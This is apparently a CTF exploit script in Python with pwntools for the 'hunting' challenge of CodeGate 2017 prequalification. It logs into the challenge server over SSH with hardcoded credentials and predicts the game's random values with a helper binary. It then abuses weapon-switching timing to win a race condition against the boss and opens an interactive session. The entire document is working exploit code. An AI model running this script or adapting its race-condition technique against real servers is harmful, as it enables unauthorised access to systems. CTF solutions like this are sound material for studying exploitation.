CodeGate 2017 PreQual hunting exploit

hunting-exploit.py

from pwn import *
import time

s = ssh(host="110.10.212.133", user="hunting", port=5556, password="hunting")
rand = ssh(host="110.10.212.133", user="hunting", port=5556, password="hunting")

cnt = 0

r = s.process("./hunting", env = {})

r.recvuntil("choice:")
r2 = rand.process("/tmp/juno1/c")
data = r2.recv()
data = data.split(" ")
key = []
for x in data:
    if x == "3":
        key.append(3)
    elif x == "1":
        key.append(3)
    elif x == "2":
        key.append(2)
    elif x == "0":
        key.append(1)

print key
print "*"*20
r2.close()

r.sendline("3")

r.recvuntil("choice")
r.sendline("3")

cnt = 0
for i in range(0, 20):
    data = r.recvuntil("choice")
    if data.find("level:4") != -1:
        print "*"*20
        print data
        print "*"*20
        cnt = i
        break
    r.sendline("2")
    r.recvuntil("choice")
    r.sendline(str(key[i]))

# change weapon
r.sendline('3')
r.recvuntil("choice")
r.sendline("2")

# do
r.recvuntil("choice")
r.sendline("2")
print r.recvuntil("choice")
r.sendline(str(key[cnt]))
cnt+=1

time.sleep(0.8)

# change weapon
r.recvuntil("choice")
r.sendline('3')
r.recvuntil("choice")
r.sendline("7")

r.recvuntil("choice")
r.sendline("2")
print r.recvuntil("choice")
r.sendline(str(key[cnt]))

time.sleep(2)


# change weapon
r.sendline('3')
r.recvuntil("choice")
r.sendline("2")

# do
r.recvuntil("choice")
r.sendline("2")
print r.recvuntil("choice")
r.sendline(str(key[cnt]))
cnt+=1

time.sleep(0.8)

# change weapon
r.recvuntil("choice")
r.sendline('3')
r.recvuntil("choice")
r.sendline("7")

r.recvuntil("choice")
r.sendline("2")
print r.recvuntil("choice")
r.sendline(str(key[cnt]))

r.interactive()
# do
print r.recvuntil("choice")
r.sendline("2")

r.interactive()